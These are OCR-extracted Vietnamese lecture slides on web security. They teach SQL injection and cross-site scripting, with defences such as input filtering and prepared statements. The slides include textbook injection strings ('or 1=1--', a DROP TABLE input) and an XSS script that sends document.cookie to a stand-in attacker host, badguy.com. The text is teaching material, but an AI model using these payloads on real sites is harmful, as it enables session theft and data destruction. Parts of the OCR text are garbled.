An toan Web

Tran Puc Khanh

BO mon HTTT - Vién CNTT&T]
DH BKHN



An toan Web

an cong SQL injection
an cong XSS




SQL injection

SQL
B Structured Query Language
B Ngon ngll truy van CSDL




SQL injection

SQL
Injection

Attacker gets
loggedin to the

SQI. Server using
the SQL
Injections




SQL injection

fan cong SQL Injection
B statement = “SELECT * FROM users

b4 £ _ 7

WHERE name = *“ + userName +~ °;

Dbiéu gi xay ra néu userName = hi’ or 1="1




SQL injection

-t Administrator Login :-

Usemame : hi' or 1=1--

Password - eeesssssssee

N
A




SQL injection

fan cong SQL Injection
B statement = “SELECT * FROM users

b4 £ _ 7

WHERE name = *“ + userName +~ °;

biéu gi xay ra néu userName = hi';DROP
TABLE users;




SQL injection

06/2005
B Tan cong hé thong the, 263000 the bi danh
cap, 43000000 thé gap nguy ca

06/2007

B Tan cong boi xau trang Microsoft UK
08/2007

B Tan cong boi xau trang LHQ
01/2008

B Hang chuc nghin may tinh bi tdn cong vao

~ MS SQL Server




SQL injection

Bién phap ngan chan
B Muc lap trinh
O Kiém soat chat ché dau vao
[0 Loai bo cac ky tu dac biét
B O mirc CSDL
00 Dung Iénh prepare dé dinh dang cau truy
van
B Phan tich tinh cau truy van
OO0 Phat hién diéu kién “1 = 1”
B Kiém thor




Tan cong XSS

O Vi du

B Search: http://victim.com/search.php ?
term = apple

B Search.php tra |0
<HTML> <TITLE> Search Results </TITLE>

<BODY>
Results for <?php echo $_GET[term] ?> : ...
</BODY>

</HTML>

Co nguy co gi khong?




Tan cong XSS

0 Van dé: khong duyét dau vao “term”

http://victim.com/search.php ? term = <script>
window.open( “http://badguy.com?cookie = “ +
document.cookie ) </script>
0 Dieu gi xay ra néu nguci dung kich Ién dia chi

nay

B Trinh duyét di dén victim.com/search.php

B victim.com tra vé <HTML> Results for <script> ... </
script>

B Trinh duyét gui cookie cua victim.com cho
badguy.com




Tan cong XSS

Example XSS Attack

5. Cookies stolen and uploaded to
attacker’s server, or malicious code 3

downloaded and executed ‘\
\

1. Attacker uploads malicious
code to their web server

4. Victim’'s browser unknowingly
makes request for malicious code

@ Malicious Web Server

S

Victim
3. Innocent victim accesses page

S

Attacker

2. Attacker adds hyperlink to
XSS vulnerable web page :
(and possibly promotes Vuinerable Web Server directed link, search engine results
vulnerable page) or general browsing)

containing attacker's hyperlink (via



Tan cong XSS

[0 Cach thic Ita nguci dung kich vao
lien két doc hai

B Phishing email

B Banner quang cao

=




Tan cong XSS

Khai thac

B DPanh cdp cookie (ngudi dung, mat khau,
dac quyén,...)

B Thutc thi cac script trong trinh duyét nhu la
tu’ trang cua nan nhan

B L3y nhiém: sdu Samy trén mySpace.com
Hau qua
B 80 % |6 h6ng an ninh mang dugc bao cdo

B Muc tiéu Ion: google, facebook, mySpace,
Yahoo, PayPal, eBay




